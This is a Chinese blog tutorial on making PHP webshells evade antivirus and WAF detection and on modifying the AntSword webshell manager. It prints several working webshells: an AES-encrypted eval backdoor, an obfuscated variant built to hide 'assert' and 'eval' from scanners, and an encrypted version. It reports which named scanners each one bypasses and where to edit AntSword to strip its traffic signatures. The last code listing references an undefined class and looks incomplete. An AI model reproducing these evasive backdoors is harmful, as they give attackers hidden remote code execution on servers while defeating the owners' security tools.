php_webshell免杀--从0改造你的AntSword

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/10530.html

0x00 前言:

为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编

关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。

但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。

蚁剑默认流量

返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。

默认的base64编码器

但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php

这⾥下载默认的aes128的默认流量。

这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。

复制代码
 <?php
 @session_start();
 $pwd='ant';
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPE
 NSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
 ?>
默认webshell讲解
复制代码
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd

再D盾,河⻢和阿⾥云进⾏扫描:

河⻢没有查出来,可能是⽐较弱

阿⾥云直接报恶意

初步修改后的webshell:

这⾥先做代码修改,直接放出我修改之后的webshell代码。

复制代码
 <?php
 @session_start();
 error_reporting(E_ALL^E_NOTICE^E_WARNING);
 function decode($key,$data){
 $data_new = '';
 for($i=0;$i<=strlen($data);$i++){
 $b=$data[$i]^$key;
 $data_new = $data_new.urldecode($b);
 }
 define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_
 new[11].strrev($data_new)[4].strrev($data_new)[0]);
 define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_n
 ew)[6].'($result)');
 return $data_new;
 }
 function decrypto($key,$data){
 $data = base64_decode($data);
 $result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPE
 NSSL_ZERO_PADDING);
 decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
 $ass=ass;
 $ass(ev);
 }
 class run{
    public $data;
    public function __construct(){
 $this->data = '#````````#'.$_POST[1]."#`#`#";
 $this->data = $this->data."123456";
 }
 }
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 $run = new run();
 decrypto($key,$run->data);
 ?>

这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。

所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)

混淆之后的webshell:

这⾥提供php在线加密的站 : https://enphp.djunny.com/

这⾥加密之后⽣成webshell。如下:

复制代码
<?php
function decrypto($key, $data) {
    $data = base64_decode($data);
    $result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
    return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}

function decode($key, $data) {
    $data_new = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $b = $data[$i] ^ $key;
        $data_new .= urldecode($b);
    }
    return $data_new;
}

session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>

经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。

已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑UA头的修改:

在burp的数据包中能清楚的看到蚁剑的特征

在目录/modules/request.js文件中修改UA头

/modules/update.js文件修改

0x02 总结

关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。

相关推荐
三少爷的鞋13 小时前
AI 时代,我们都将成为通才型开发者:只懂 Android,已经不够了
android
Dovis(誓平步青云)16 小时前
家里设备越来越多,如何用一张空间地图控制灯光和温度![
android·java·前端·javascript·人工智能·电脑
晚风叙码18 小时前
MySQL 数据类型详解:从数值到字符串,一篇讲透
android·mysql·adb
传奇开心果编程19 小时前
【Compose Multiplatform 跨端开发学与练】第3课 布局与组件
android·windows·学习·ui·ios·kotlin·composer
传奇开心果编程21 小时前
【Compose Multiplatform 跨端开发学与练】第8课 资源管理与主题
android·windows·学习·ios·kotlin·web·composer
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第9课 测试与调试
android·学习·macos·ios·kotlin·web·composer
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第4课 导航与路由
android·windows·学习·ui·ios·kotlin·composer
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第6课 状态管理与架构
android·学习·ui·ios·架构·kotlin·composer
事圆则缓1 天前
Android AOSP 定制常见概念:源码目录、系统镜像与刷机流程
android
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第2课 Compose 基础语法
android·windows·学习·ui·ios·kotlin·composer